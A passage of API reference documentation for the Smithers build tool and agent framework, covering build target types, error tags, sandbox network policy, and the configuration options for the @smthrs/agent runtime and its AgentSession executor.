| `Smithers.TypedocDocs`            | rule               | Plans TypeDoc generation into the declared documentation directory.                                                                                                                  |
| `Smithers.LlmLint`                | rule               | Reviews changed files with a model and fails on rubric findings.                                                                                                                     |
| `Smithers.ModelCliMissing`        | error              | The engine CLI executable was not found on the host.                                                                                                                                 |
| `Smithers.FindingsError`          | error              | The review completed and at least one finding met the `failOn` threshold.                                                                                                            |
| `Smithers.LlmReview`              | action             | The one sealed model action reviewing every batch of changed files.                                                                                                                  |
| `Smithers.LlmReviewError`         | error              | A review round failed before producing findings.                                                                                                                                     |
| `Smithers.LlmReviewLive`          | layer              | Implements `LlmReview` with `git diff` and a model CLI.                                                                                                                              |
| `Smithers.JevLint`                | rule               | Judges files against declared rules with Jev, one yes-or-no question per rule, and fails on findings.                                                                                |
| `Smithers.JevReview`              | action             | The one sealed action that asks Jev every rule covering each file.                                                                                                                   |
| `Smithers.Clean`                  | rule               | Removes the declared targets' outputs and the named scratch paths, and nothing else.                                                                                                 |
| `Smithers.Dev`                    | rule               | Plans a long-lived development or watch command.                                                                                                                                     |
| `Smithers.ToolBuild`              | rule               | Runs one arbitrary command for Rust, Zig, native addons, or another toolchain through the shared action.                                                                             |
| `Smithers.ToolRun`                | rule               | Plans one irreversible external operation.                                                                                                                                           |
| `Smithers.NodeTest`               | rule               | Runs one declared JavaScript program as a test gate.                                                                                                                                 |
| `Smithers.entrypoint`             | constructor        | Declares a run of one program that gates on its exit code.                                                                                                                           |
| `Smithers.testRunner`             | constructor        | Declares a run of the runtime's own test runner over the given files.                                                                                                                |
| `Smithers.testSuite`              | constructor        | Declares a run of the runtime's own test runner over the suites under the given directories; Bun isolation is opt-in.                                                                |
| `Smithers.NodeBinary`             | rule               | Runs one declared JavaScript program under the build verb.                                                                                                                           |
| `Smithers.CaptureOutputs`         | action             | Digests the declared outputs of a build target.                                                                                                                                      |
| `Smithers.CaptureOutputsLive`     | layer              | Implements `CaptureOutputs`, resolving declared paths against `workspaceRoot`.                                                                                                       |
| `Smithers.measureOutput`          | function           | Measures one declared output, or fails with an `OutputError`.                                                                                                                        |
| `Smithers.OutputError`            | error              | Digesting one declared output failed.                                                                                                                                                |
| `Smithers.readOutputManifest`     | function           | Reads an untrusted value as the exact output manifest the target declared.                                                                                                           |
| `Smithers.verifyOutputs`          | function           | Re-measures every declared output and compares it to a manifest.                                                                                                                     |
| `Smithers.Verb`                   | namespace and type | The CLI verbs a generated pipeline may run across a target graph.                                                                                                                    |
| `Smithers.Rust`                   | namespace and type | The Rust surface: `Rust.Toolchain({ workspace, channel })` or `Rust.Toolchain({ toolchain, lockfile })`, and the CI pin `Rust.Pinned({})`.                                           |
| `Smithers.CiToolchain`            | namespace and type | What one generated CI job requires before its targets run.                                                                                                                           |
| `Smithers.SecretProxy`            | namespace          | Placeholder minting and outbound secret substitution.                                                                                                                                |
| `Smithers.Mise`                   | namespace          | mise version authority and pinned binary references.                                                                                                                                 |
| `Smithers.Foundry`                | namespace          | Foundry toolchain plus the `Foundry.Build`, `Foundry.Test`, and `Foundry.Fmt` targets.                                                                                               |
| `Smithers.Anvil`                  | namespace          | Anvil fork services, `Anvil.Fork`.                                                                                                                                                   |
| `Smithers.Repo`                   | namespace          | Cross-repository target edges into opaque local workspaces, `Repo.Target`.                                                                                                           |
| `Smithers.Memory`                 | namespace          | The `Memory.Retain` target and the `Memory.SmithersCloud` workspace declaration.                                                                                                     |
| `Smithers.Bundler`                | namespace          | The bundler surface, `Bundler.Rspack`.                                                                                                                                               |
| `Smithers.Go`                     | namespace          | Go toolchain and package rules.                                                                                                                                                      |
| `Smithers.Stamp`                  | namespace          | Late-bound build stamps.                                                                                                                                                             |
| `Smithers.Nix`                    | namespace          | Nix dev-shell version authority and tools.                                                                                                                                           |
| `Smithers.Changesets`             | namespace          | Changesets versioning and publication declarations; `Changesets.Publish` is deferred past 1.0 ([#3163](https://github.com/smithersai/smithers/issues/3163)) and the plan refuses it. |
| `Smithers.Api`                    | namespace          | API-surface checks, `Api.Compat`.                                                                                                                                                    |
| `Smithers.Size`                   | namespace          | Artifact-size checks, `Size.Budgets`.                                                                                                                                                |

## Errors

Every tagged error and coded refusal the package defines, with the module each one lives in named in the Sources section. The first nineteen are `Schema.TaggedError` classes or a tagged schema; the last six are `Error` subclasses carrying a `name` and a `code` or a field, not a `_tag`:

| Tag                                   | Raised when                                                                                                                                                             | Fields                                                          |
| ------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------- |
| `smithers-build/AgentSessionError`    | An agent execution fails while resolving, diffing, reading, spawning, parsing, applying, gating, settling, or consulting the verdict cache.                             | `phase`, `message`                                              |
| `smithers-build/AgentNeedsInput`      | A required payload input is missing or invalid, before any session spawn.                                                                                               | `field`, `expected`, `message`                                  |
| `smithers-build/AgentMcpUnreachable`  | A declared MCP server does not answer the reachability precheck, before any session spawn.                                                                              | `name`, `url`, `message`                                        |
| `smithers-build/AgentWriteEscape`     | A session proposes a write outside its declared write-set. The candidate is rejected whole.                                                                             | `path`, `writeSet`, `message`                                   |
| `smithers-build/AgentFindingsError`   | A check-mode `Agent.Lint` completes and the agent reports findings.                                                                                                     | `findings`, `message`                                           |
| `smithers-build/AgentRoundsExhausted` | The candidate and gate loop uses `maxRounds` without a green gate set.                                                                                                  | `rounds`, `diff`, `gateReport`, `message`                       |
| `smithers-build/AgentPrSettleRefused` | An `Agent.Pr` loop converges and the pull-request settle action is not bound.                                                                                           | `diff`, `gateReport`, `message`                                 |
| `smithers-build/ImportClosureError`   | An import closure cannot be resolved: an entry is missing, a file is unreadable, the resolver configuration is invalid, or a bound is hit.                              | `message`                                                       |
| `smithers-build/FilesTestError`       | A file-algebra assertion fails, or cannot be answered completely.                                                                                                       | `message`, `leftover`, `unresolved`, `dynamic`                  |
| `smithers-build/FilegroupError`       | Expanding a group's declared sources fails on a filesystem error.                                                                                                       | `message`                                                       |
| `smithers-build/DocsParityError`      | A package's documentation is missing or too thin to describe the package.                                                                                               | `path`, `message`                                               |
| `smithers-build/DriftError`           | A checked-in generated file is missing, drifted, or unreadable.                                                                                                         | `path`, `message`, `reason`                                     |
| `smithers-build/WriteFileError`       | A generated file cannot be written.                                                                                                                                     | `path`, `message`                                               |
| `smithers-build/OutputError`          | Digesting one declared output fails.                                                                                                                                    | `path`, `message`                                               |
| `smithers-build/ModelCliMissing`      | The engine CLI executable is not found on the host.                                                                                                                     | `engine`, `executable`, `message`                               |
| `smithers-build/LlmReviewError`       | A review round fails before producing findings, in the `diff`, `read`, `review`, or `parse` phase.                                                                      | `phase`, `message`                                              |
| `smithers-build/FindingsError`        | A review completes and at least one finding meets the `failOn` threshold.                                                                                               | `failOn`, `findings`                                            |
| `smithers-build/NotImplemented`       | A catalog stub is executed under a bare Flow runtime instead of the package executor.                                                                                   | `target`, `message`                                             |
| `smithers-build/ExecError`            | A tool run fails. `code` is one of `invalid_payload`, `spawn_failed`, `timed_out`, `signaled`, `stream_failed`, `secret_proxy_failed`, or `exit_status`.                | `argv`, `cwd`, `exitCode`, `stdout`, `stderr`, `code`, `signal` |
| `smithers-build/Refused`              | An outward invocation is refused before any outward action, with `code` `missing_secret` or `approval_unsatisfied`.                                                     | `rule`, `code`, `detail`                                        |
| `smithers-build/SecretUnavailable`    | A declared secret has no value on this host.                                                                                                                            | `env`                                                           |
| `smithers-build/SecretAudienceDenied` | A placeholder is used for an origin the declaration does not authorize.                                                                                                 | `env`, `audience`                                               |
| `smithers-build/SecretValueInvalid`   | A host value cannot safely cross an HTTP request boundary.                                                                                                              | `env`                                                           |
| `smithers-build/WorkflowParseError`   | A workflow file cannot be read as a GitHub Actions workflow. `reason` is one of `too_large`, `invalid_yaml`, `unsupported`, `duplicate`, `missing`, or `invalid_shape`. | `line`, `reason`, `detail`                                      |

## Example

Declare a test and an AI review with the files and review instructions visible:

```ts
import { Smithers as S } from "@smthrs/targets"

const test = S.Vitest({
  tests: [S.glob("test/**/*.test.ts")],
  sources: [S.glob("src/**/*.ts")],
  deps: [],
  config: null,
  environment: "node",
  passWithNoTests: false,
  cwd: "packages/core"
})
const reviewChangedFiles = S.LlmLint({
  changes: S.gitDiff({ base: "origin/main" }),
  include: [S.glob("//packages/core/src/**/*.ts")],
  deps: [],
  prompt: "Review the changed code for bugs.",
  rubric: "Report bugs that could lose saved data. Explain how each bug occurs.",
  engine: "codex",
  model: "gpt-6-luna",
  batchSize: 2,
  failOn: "error"
})

export const Package = S.Package({ targets: { test, reviewChangedFiles } })
```

Run `smthrs test //packages/core:test` for the tests and
`smthrs review //packages/core:reviewChangedFiles` for the review.

## See also

- [@smthrs/flow](/docs/reference/api/flow/), the host-owned Flow runtime for explicitly lowered target plans
- [Filegroup rule](/docs/reference/targets/filegroup/)
- [Agent.Diff rule](/docs/reference/targets/agent-diff/)
- [Flows, actions, and plans](/docs/concepts/flows-actions-plans/)

## Sources

- `packages/smithers/build/targets/package.json`
- `packages/smithers/build/targets/README.md`
- `packages/smithers/build/targets/docs/README.md`
- `packages/smithers/build/targets/docs/api.md`
- `packages/smithers/build/targets/docs/rules.md`
- `packages/smithers/build/targets/src/index.ts`
- `packages/smithers/build/targets/src/Smithers.ts`
- `packages/smithers/build/targets/src/AgentTarget.ts`
- `packages/smithers/build/targets/src/Cargo.ts`
- `packages/smithers/build/targets/src/Compose.ts`
- `packages/smithers/build/targets/src/Config.ts`
- `packages/smithers/build/targets/src/Docker.ts`
- `packages/smithers/build/targets/src/DocsParity.ts`
- `packages/smithers/build/targets/src/Exec.ts`
- `packages/smithers/build/targets/src/Filegroup.ts`
- `packages/smithers/build/targets/src/GeneratedFile.ts`
- `packages/smithers/build/targets/src/GitTarget.ts`
- `packages/smithers/build/targets/src/GithubTarget.ts`
- `packages/smithers/build/targets/src/GithubWorkflow.ts`
- `packages/smithers/build/targets/src/Input.ts`
- `packages/smithers/build/targets/src/JevLint.ts`
- `packages/smithers/build/targets/src/LlmLint.ts`
- `packages/smithers/build/targets/src/NodeArtifact.ts`
- `packages/smithers/build/targets/src/NpmTarget.ts`
- `packages/smithers/build/targets/src/Outward.ts`
- `packages/smithers/build/targets/src/Owners.ts`
- `packages/smithers/build/targets/src/Package.ts`
- `packages/smithers/build/targets/src/PackageManager.ts`
- `packages/smithers/build/targets/src/Runtime.ts`
- `packages/smithers/build/targets/src/Secret.ts`
- `packages/smithers/build/targets/src/SecretProxy.ts`
- `packages/smithers/build/targets/src/Shell.ts`
- `packages/smithers/build/targets/src/StandardPackage.ts`
- `packages/smithers/build/targets/src/Target.ts`
- `packages/smithers/build/targets/src/ToolBuild.ts`
- `packages/smithers/build/targets/src/WorkspaceDeclaration.ts`

## Build sandbox network policy

Targets default to a closed network. `sandbox: "none"` disables the whole
sandbox, including its network restriction; `sandbox: { network: false }`
keeps confinement and denies networking. `{ network: true }` explicitly
permits full network access. Service consumers must declare either that
opening or `{ network: "loopback" }`; service dependencies do not open the
network implicitly. Linux bubblewrap refuses loopback-only access with
`sandbox_unenforceable`, because sharing host loopback also shares host egress.
macOS seatbelt supports the loopback policy.

`Exec.toolEnvironment(declared, sensitiveEnv, secretEnv?, base?)` constructs the
allowlisted child environment shared by execution and cache-key planning.
Declared values override inherited defaults, cache credentials are withheld,
and explicitly minted secret placeholders are applied last.

`Smithers.GithubCiGen` groups concurrent runs by pull request number, falling
back to the ref for other events. A pushed branch keeps one run in flight and
its newest commit pending; each push replaces the pending run, so a busy branch
gets a verdict every run length. With the default `cancelInProgress: true`, a
new PR run cancels the previous run for that PR. Set
`cancelInProgress: false` to disable cancellation.
The last setup step renders `id: setup`, and every target step renders
`if: ${{ !cancelled() && steps.setup.conclusion == 'success' }}`: a red gate
does not skip the independent gates after it, a failed setup step skips them
all, and the job still fails.

`Smithers.CiToolchain.Artifacts({ artifact, sources })` collects and uploads
files after a generated job's targets run, including after failure. Each source
has `from`, optional `as` (the destination within the artifact), and optional
`required`. Sources are optional by default: missing literal paths and globs
with no matches are skipped. Existing sources must copy successfully.

Set `required: true` on a source to fail collection if its literal path is
missing or its glob matches no existing paths. Every matching path is copied.
If any source is required, the upload uses `if-no-files-found: error`;
otherwise it uses `ignore`, including when `sources` is empty. An optional
source cannot satisfy a missing required source.

```ts
import { Smithers } from "@smthrs/targets"

Smithers.CiToolchain.Artifacts({
  artifact: "test-evidence",
  sources: [
    { from: "reports/results.xml", required: true },
    { from: "/tmp/shot-*.png" }
  ]
})
```

---

# @smthrs/agent
https://smithers.sh/docs/reference/api/agent/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/docs)

> **Related APIs:** [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/control`](/docs/reference/api/control/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/harness`](/docs/reference/api/harness/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/memory`](/docs/reference/api/memory/) · [`@smthrs/model`](/docs/reference/api/model/) · [`@smthrs/notifications`](/docs/reference/api/notifications/) · [`@smthrs/observability`](/docs/reference/api/observability/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/plugin`](/docs/reference/api/plugin/) · [`@smthrs/registry`](/docs/reference/api/registry/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/std`](/docs/reference/api/std/)

`@smthrs/agent` exports twenty-eight modules from its root entry point, and each is
also importable from `@smthrs/agent/<Module>`:

```ts
import { Agent, AgentAction, Seat } from "@smthrs/agent"
// or
import * as Agent from "@smthrs/agent/Agent"
```

`@smthrs/agent/internal/*` and `@smthrs/agent/*/index` are not public.
`@smthrs/agent/package.json` is exported.

Services and tags are Effect constructs: a `Layer` provides a service, and a
flow body or stream reads it from context. For the authoring model behind
flows, actions, and interpreters, see the
[`@smthrs/flow` reference](/docs/reference/api/flow/). For the cell contract, the controller,
and the sandbox vocabulary the loop runs on, see the
[`@smthrs/harness` reference](/docs/reference/api/harness/).

## Example

```ts
import { AgentAction } from "@smthrs/agent"
import * as Schema from "effect/Schema"
const Research = AgentAction.make("docs/Research", {
  payload: { topic: Schema.String },
  output: Schema.Struct({ summary: Schema.String }),
  seat: "anthropic:claude-sonnet-4-5",
  prompt: ({ topic }) => `Research ${topic}.`
})
```

## Agent

The agent: one service whose `run` executes one whole agent loop and returns
the framework-neutral `Stream<AgentEvent>` the controller emits. A run must be
started from inside a running flow body, because the engine port is built per
execution; that is why `FlowRuntime.FlowRuntime` and `FlowRuntime.FlowInstance`
are in the stream's requirements rather than in the service's construction.

### Agent.Service

```ts
interface Service {
  readonly run: (
    options: Options
  ) => Stream.Stream<
    AgentEvent.AgentEvent,
    HarnessError | PluginError,
    | FlowRuntime.FlowRuntime
    | FlowRuntime.FlowInstance
    | Sandbox.Sandbox
    | Steering.Source
    | Budget.Budget
    | QuotaPolicy.QuotaClassifier
  >
}
```

`run` assembles the run's catalog from the registry and the declared `flows`
(plugin `cellFlows` handlers run after them, in resolution order), shows the
model exactly the registry the boundary resolves against, and runs the cell
controller. Duplicate flow names fail composition rather than dispatching one
descriptor to another implementation.

### Agent.Options

Everything one assembled cell run declares. The required half is the run
itself; every default on the optional half is the conservative one.

| Field                | Type                                                                                                                                 | What it decides                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `session`            | `string`                                                                                                                             | The durable session or lineage every call identity is scoped to. Required.                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `seat`               | `Seat.Seat`                                                                                                                          | The resolved seat this run streams from: model, route, and context window together. Required.                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `fallbackSeats`      | `ReadonlyArray<Seat.Seat>`                                                                                                           | Resolved seats tried in order after capacity refusal, context overflow, or HTTP 5xx failure. Rate limits cool the refused model on its route; account quota and HTTP 529 cool the route; overflow and 5xx do not park.                                                                                                                                                                                                                                                                                          |
| `capacity`           | `{ park: boolean; maxParkMillis?: number; maxParks?: number }`                                                                       | Capacity handling. Parking defaults to true, with no wait ceiling; unknown resets are re-probed after 15 minutes. `maxParks` (default `QuotaPolicy.defaultMaxParks`, 8) bounds the parks per run; the next refusal fails the run with the provider's typed `ModelError`.                                                                                                                                                                                                                                        |
| `prompt`             | `string`                                                                                                                             | The task the run was admitted with. Required.                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `registry`           | `Registry.Registry`                                                                                                                  | The catalog shown to the model and the registry its calls resolve against. Required.                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `system`             | `ReadonlyArray<string>`                                                                                                              | Stable system teaching placed ahead of the cell contract.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `profile`            | `CellTurn.Profile`                                                                                                                   | The cell contract the run is taught. Omitted is `workspace`. `conversation` teaches the REPL and rules 1 to 6 without the bug-fix example, rules 7 to 9, the history fact or the unpinned-tree fact, and defaults `repeatCap` and `narrowingCap` to zero; a value set explicitly still wins.                                                                                                                                                                                                                    |
| `flows`              | `ReadonlyArray<FlowBinding.Source>`                                                                                                  | Ordered executable-flow sources composed into the run's catalog.                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `implementations`    | `ReadonlyMap<string, CellCalls.Implementation>`                                                                                      | Host implementations for module-backed flows, keyed by flow name.                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `promptRunner`       | `CellCalls.PromptRunner`                                                                                                             | Runs a rendered markdown flow. A host with none refuses them catchably.                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `authorize`          | `(call: Cell.Call) => Effect<void, HarnessError>`                                                                                    | Decides whether a call may proceed, before its durable boundary opens.                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `plugins`            | `PluginInput<FlowsHooks>`                                                                                                            | Shared-kernel plugins resolved for the harness target.                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `config`             | `FlowsConfig`                                                                                                                        | Raw config threaded through the plugin kernel's config waterfall.                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `memory`             | `MemorySource.Declared`                                                                                                              | One explicitly selected memory snapshot, `{ rows, digest }` from `Source.declared`. The opening renders every row with `Source.render`; a judged run's relevance reading judges each row and renders only the kept ones. Omitting it injects no memory.                                                                                                                                                                                                                                                         |
| `modelParams`        | `ModelRequest.GenerationParams`                                                                                                      | Generation parameters for the run's model calls.                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `modelRetryPolicy`   | `RetryPolicy.RetryPolicy`                                                                                                            | Overrides the engine retry policy of every model step, `FlowEngineLike.defaultModelRetryPolicy` by default. It must bound `maxAttempts`.                                                                                                                                                                                                                                                                                                                                                                        |
| `layers`             | `ReadonlyArray<string>`                                                                                                              | The resolved composition identity folded into every durable key.                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `capabilityEnvelope` | `ReadonlyArray<Capability.CapabilityPattern>`                                                                                        | The run's complete authority. The default is nothing granted.                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `placement`          | `Option<Descriptor.Placement>`                                                                                                       | The run's placement identity.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `maxFrames`          | `number`                                                                                                                             | Bounds one loop's frames.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `readOnlyCap`        | `number`                                                                                                                             | Caps consecutive read-only frames. Armed for task runs only; see `CellTurn.make` in [`@smthrs/harness`](/docs/reference/api/harness/).                                                                                                                                                                                                                                                                                                                                                                                          |
| `modelCallMs`        | `number`                                                                                                                             | Caps the wall clock one model call may spend. Armed by default at `CellTurn.modelCallMsFor(effort)` (300,000 ms up to `medium`, 1,800,000 ms at `max`); zero disarms it.                                                                                                                                                                                                                                                                                                                                        |
| `repeatCap`          | `number`                                                                                                                             | Caps consecutive repeat-observation frames. Armed by default at `CellTurn.defaultRepeatFrames`; zero disarms it. A `conversation` run defaults it to zero.                                                                                                                                                                                                                                                                                                                                                      |
| `narrowingCap`       | `number`                                                                                                                             | Caps completions bounced for narrowed evidence. Armed by default at `CellTurn.defaultNarrowingDemands`. A `conversation` run defaults it to zero.                                                                                                                                                                                                                                                                                                                                                               |
| `unmovedCap`         | `number`                                                                                                                             | Caps completions bounced for an unmoved tree. Armed by default at `CellTurn.defaultUnmovedDemands`.                                                                                                                                                                                                                                                                                                                                                                                                             |
| `unresolvedCap`      | `number`                                                                                                                             | Caps completions bounced for a failing check the run replaced rather than answered. Armed by default at `CellTurn.defaultUnresolvedDemands`.                                                                                                                                                                                                                                                                                                                                                                    |
| `claimCap`           | `number`                                                                                                                             | Caps completions bounced for a claim the run's record does not support; the one brake that asks the `Evaluator`. Off by default (`CellTurn.defaultClaimDemands` is 0); a workflow arms it with a positive cap.                                                                                                                                                                                                                                                                                                  |
| `approvalChannel`    | `boolean`                                                                                                                            | Whether a human can answer this run. Defaults to false; a run that claims it wrongly buys a run that waits forever.                                                                                                                                                                                                                                                                                                                                                                                             |
| `limits`             | `Sandbox.Limits`                                                                                                                     | The sandbox budget every cell runs under.                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `supervisor`         | `{ remember?: boolean; banks?: ReadonlyArray<string>; monitors?: ReadonlyArray<Monitor.Monitor>; stance?: "careful" \| "paranoid" }` | What the supervisor may do with its readings. `banks` are the memory banks recalled from and written to. `remember` mines the run's transcript once, at run end, through `MemoryMine`, when a bank is writable. `monitors` are added after `Monitor.defaults()` and before the `cellMonitors` hook; a duplicate or malformed monitor fails the run with `assembly_failed` before its first frame. `stance` is the static stance a judged run is taught, `careful` when omitted; an unjudged run is taught none. |
| `judged`             | `boolean`                                                                                                                            | Whether the host's `Evaluator` is a real judge. True arms Jev's features, among them the supervisor's nudges and memory inserts and the run-start relevance reading. Defaults to false.                                                                                                                                                                                                                                                                                                                         |
| `instructions`       | `ReadonlyArray<{ path: string; text: string }>`                                                                                      | Human-provided instruction files, such as `AGENTS.md`, shown after `system`. A judged run drops the chunks Jev is confident the task does not need; see `CellTurn.Input.instructions`.                                                                                                                                                                                                                                                                                                                          |
| `pinnedSources`      | `ReadonlyArray<string>`                                                                                                              | Names of `flows` sources whose flows a judged run never withholds, beside `StandardFlows.coreSources`.                                                                                                                                                                                                                                                                                                                                                                                                          |

### Agent.Agent

```ts
class Agent extends Context.Service<Agent, Service>()("@smthrs/agent/Agent")
```

The `Service` tag.

### Agent.make

```ts
const make: (implementation: Service) => Service
```

Builds a `Service` from an implementation of its one method. A future agent
that drives a foreign CLI is another implementation built here, not a second
loop.

### Agent.makeNoop

```ts
const makeNoop: (overrides?: Partial<Service>) => Service
```

A `Service` that emits nothing and runs no model.

### Agent.layer

```ts
const layer: Layer.Layer<Agent, never, QuotaPolicy.QuotaClassifier | Budget.Budget>
```

Provides the production agent. The policy services are requirements of the
layer so a composition cannot erase them before `run` reaches the model
boundary.

### Agent.layerNoop

```ts
const layerNoop: (overrides?: Partial<Service>) => Layer.Layer<Agent>
```

Provides `makeNoop`.

### Agent.layerDefaults

```ts
const layerDefaults: Layer.Layer<Sandbox.Sandbox | Steering.Source, Sandbox.SandboxError>
```

The browser-safe defaults for the two services a run leaves to the host: the
QuickJS single-file sandbox build, which runs unchanged in Node and in a
browser, and an empty steering source. A host that accepts mid-run messages
provides its own `Steering.layer` instead.

### Agent.layerDefaultsWithVariant

```ts
const layerDefaultsWithVariant: Layer.Layer<
  Sandbox.Sandbox | Steering.Source,
  Sandbox.SandboxError,
  QuickJSSandbox.Variant
>
```

`layerDefaults` over the QuickJS build the host names. A runtime that refuses
to compile WebAssembly from bytes, such as Cloudflare's workerd, provides
`QuickJSSandbox.layerVariant(variant)` beneath this and builds that variant
from a `.wasm` module import.

### Agent.layerSandbox

```ts
const layerSandbox: Layer.Layer<Sandbox.Sandbox, Sandbox.SandboxError>
```

The sandbox half of `layerDefaults` alone, with no steering source. A host
that takes people's messages while a run works provides its own
`Steering.Source` beside it, such as `@smthrs/harness`'s
`Notifications.layerForExecution()` over the durable notification queue.
Merging `layerDefaults` with a real source instead leaves two providers of
one service, and which one the agent drains depends on merge order.

```ts
const steered = Layer.mergeAll(
  Agent.layerSandbox,
  Notifications.layerForExecution().pipe(Layer.provide(NotificationQueue.layer))
)
```

### Agent.layerSandboxWithVariant

```ts
const layerSandboxWithVariant: Layer.Layer<
  Sandbox.Sandbox,
  Sandbox.SandboxError,
  QuickJSSandbox.Variant
>
```

`layerSandbox` over the QuickJS build the host names, as
`layerDefaultsWithVariant` is `layerDefaults` over it.

## AgentSession

The production `ControlExecutor` for [`@smthrs/control`](/docs/reference/api/control/). When
the control plane accepts a launch, the session looks the flow up in the
registry, loads its markdown prompt body, resolves its declared seat through
`SeatResolver`, and runs `Agent` as the body of one durable flow execution
whose id is the control run id. Run-status writes stay fenced: the executor
waits for the control plane's own `running` transition, writes
`waiting-approval` when the execution parks, and writes the terminal status
when it settles.

Before starting a prompt, the session checks the plan's `executionDigest`
against the registry descriptor and verifies the loaded source bytes. The
same checks run on every drive or resume. An absent measured identity or a
change to the prompt, model, parameters, or discovered metadata refuses the
run; a refreshed registry needs a new plan and approval. A registry mismatch
is retained as the typed cause of the launch failure.

Module flows are discovered and planned but return `pending` from this agent
executor. A host must register their flow and action implementations and drive
them separately; `AgentSession` executes markdown prompt flows.

A prompt flow whose frontmatter selects a `sandbox:` runs its tools on a
machine the host's `Options.sandbox` opens for it: one machine per run,
acquired under the key `sandbox:<runId>` on its first drive, kept across its
parks, and ended when the run settles or the executor closes. The machine's
sources replace `Options.flows` for that run, and the host's workspace
observer and checkpoint store are withheld from it. A selection the host
cannot provide fails the launch with `LaunchFailed` whose cause is
`SandboxRefused` (`unconfigured`, `options`, or `module`), before any body
loads.

### AgentSession.Options

`reentryCheckpoint?: (runId, flowId) => Effect<void, unknown, ControlRuntime |
FlowRuntime | FlowInstance>` (since 1.0.0) runs host controls before entering or
resuming a module named in `reenterModules`, including a child still waiting
for an answer. Its failure prevents entry.

`abandonedParkAfter?: Duration.Duration` sets how long a foreign host's resume
delegation must stand before adoption. The default is
`Ownership.heartbeatStaleAfter` (30 seconds); adoption starts at the cutoff.

| Field             | Type                                                                      | What it decides                                                                                                                                     |
| ----------------- | ------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| `limits`          | `Sandbox.Limits`                                                          | The explicit sandbox budget every cell runs under. Required; never unlimited.                                                                       |
| `quotaPolicy`     | `Layer<QuotaPolicy.QuotaClassifier>`                                      | The required quota park/retry policy every model call in the run is decided under.                                                                  |
| `budget`          | `(envelope: Envelope) => Layer<Budget.Budget, Budget.ConfigurationError>` | Builds the run-local spending policy from the plan that was approved. Provided inside each body invocation.                                         |
| `flows`           | `ReadonlyArray<FlowBinding.Source>`                                       | Host executable-flow sources composed into every run's catalog. The durable wait and the control-wired approval are composed by the session itself. |
| `sandbox`         | `(selection) => Effect<SandboxOpener, SandboxRefused> \| undefined`       | Opens the machine for a flow's `sandbox:` selection; `undefined` when no provider of that name is configured. Absent, every selection is refused.   |
| `system`          | `ReadonlyArray<string>`                                                   | Stable system teaching placed ahead of the cell contract.                                                                                           |
| `maxFrames`       | `number`                                                                  | The cell-loop bound.                                                                                                                                |
| `readOnlyCap`     | `number`                                                                  | Consecutive read-only frames a task run may spend. Defaults to `CellTurn.defaultReadOnlyFrames`.                                                    |
| `modelCallMs`     | `number`                                                                  | Wall-clock milliseconds one model call may spend. Defaults to `CellTurn.modelCallMsFor(effort)`; zero disarms it.                                   |
| `repeatCap`       | `number`                                                                  | Consecutive repeat-observation frames. Defaults to `CellTurn.defaultRepeatFrames`; zero disarms it.                                                 |
| `narrowingCap`    | `number`                                                                  | Completions bounced for narrowed evidence. Defaults to `CellTurn.defaultNarrowingDemands`; zero disarms it.                                         |
| `unmovedCap`      | `number`                                                                  | Completions bounced for an unmoved tree. Defaults to `CellTurn.defaultUnmovedDemands`; zero disarms it.                                             |
| `unresolvedCap`   | `number`                                                                  | Completions bounced for a failing check the run replaced. Defaults to `CellTurn.defaultUnresolvedDemands`; zero disarms it.                         |
| `approvalChannel` | `boolean`                                                                 | Whether a human answers this executor's runs. Defaults to false; a run that claims false has its `park` transitions refused and answered in-frame.  |
| `judged`          | `boolean`                                                                 | Whether the host's `Evaluator` is a real judge; forwarded to `Agent.Options.judged`.                                                                |
| `reasoningEffort` | `ModelRequest.ReasoningEffort`                                            | The reasoning effort agent seats run at when their flow declares none. The flow's own `effort:` frontmatter wins; the built-in default is `high`.   |

### AgentSession.make

```ts
const make: (
  options: Options
) => Effect.Effect<ControlExecutor.Service, never, Services | Scope.Scope>
```

Constructs the production executor. It must be built in a scope: the scope owns
the registered agent flow, every forked run driver, and the resume bridge that
follows the journal. Its requirements are `Agent`, `ControlRuntime`,
`Crypto.Crypto`, `DurableEngineState`, `FlowRuntime`, `Journal`,
`NotificationQueue`, `Registry`, `RunStore`, and `SeatResolver`.

### AgentSession.layer

```ts
const layer: (options: Options) => Layer.Layer<ControlExecutor.ControlExecutor, never, Services>
```

Provides the production `ControlExecutor`.

### AgentSession.trace

```ts
const trace: (
  event: AgentEvent.AgentEvent,
  previous?: RequestTrail
) => { readonly eventType: string; readonly payload: unknown } | undefined

interface RequestTrail {
  readonly systemDigest: string
  readonly messageDigests: ReadonlyArray<string>
}
```

